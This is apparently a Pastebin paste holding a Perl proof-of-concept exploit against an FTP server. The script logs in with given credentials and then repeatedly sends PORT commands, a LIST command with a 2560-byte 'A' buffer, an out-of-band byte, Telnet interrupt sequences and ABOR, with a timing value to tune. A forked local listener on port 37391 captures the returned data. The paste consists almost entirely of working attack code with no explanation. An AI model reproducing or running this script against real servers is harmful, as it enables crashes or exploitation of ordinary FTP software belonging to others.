Guest User

Untitled

a guest
Oct 7th, 2018
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.40 KB | None | 0 0
  1. use IO::Socket;
  2.  
  3. $host = $ARGV[0];
  4. $username = $ARGV[1];
  5. $password = $ARGV[2];
  6. $locip = $ARGV[3];
  7. $locip =~ s/\./,/gi;
  8.  
  9. if (($host eq "") or ($username eq "") or ($password eq "") or ($locip eq "")) {
  10. print "Usage: POC.pl <hostname> <username> <password> <localip>\n";
  11. exit;
  12. }
  13.  
  14. if (fork()) {
  15. my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
  16. PeerPort => 21,
  17. Proto => 'tcp');
  18. while(<$sock>) {
  19. $p = $_;
  20. print $p;
  21. if ($p =~ /220\s/) {
  22. last;
  23. }
  24.  
  25. }
  26. print $sock "USER $ARGV[1]\r\n";
  27. $p = <$sock>;
  28. print $p;
  29. print $sock "PASS $ARGV[2]\r\n";
  30. $p = <$sock>;
  31. print $p;
  32. for ($k=0;$k<100;$k++) {
  33. print $k."\n";
  34. print $sock "PORT $locip,146,15\r\n";
  35. $p = <$sock>;
  36. print $p;
  37. $a = "A" x 2560;
  38. print $sock "LIST $a\r\n";
  39. select(undef,undef,undef,k*0.001); # TWEAK THIS VALUE, USED A HOST TO VM CONNECTION WHEN TESTING
  40. send $sock, "!",MSG_OOB;
  41. print $sock "\377";
  42. print $sock "\364";
  43. print $sock "\377";
  44. print $sock "\362";
  45. print $sock "ABOR\r\n";
  46. $p = <$sock>;
  47. print $p;
  48. print $sock "PWD\r\n";
  49. $p = <$sock>;
  50. print $p;
  51. }
  52. } else {
  53. my $servsock = IO::Socket::INET->new(LocalAddr => "0.0.0.0", LocalPort => 37391, Proto => 'tcp', Listen => 1000);
  54. die "Could not create socket: $!\n" unless $servsock;
  55. while(my $new_sock = $servsock->accept()) {
  56. while(<$new_sock>) {
  57. print $_;
  58. }
  59. }
  60. }
Add Comment
Please, Sign In to add comment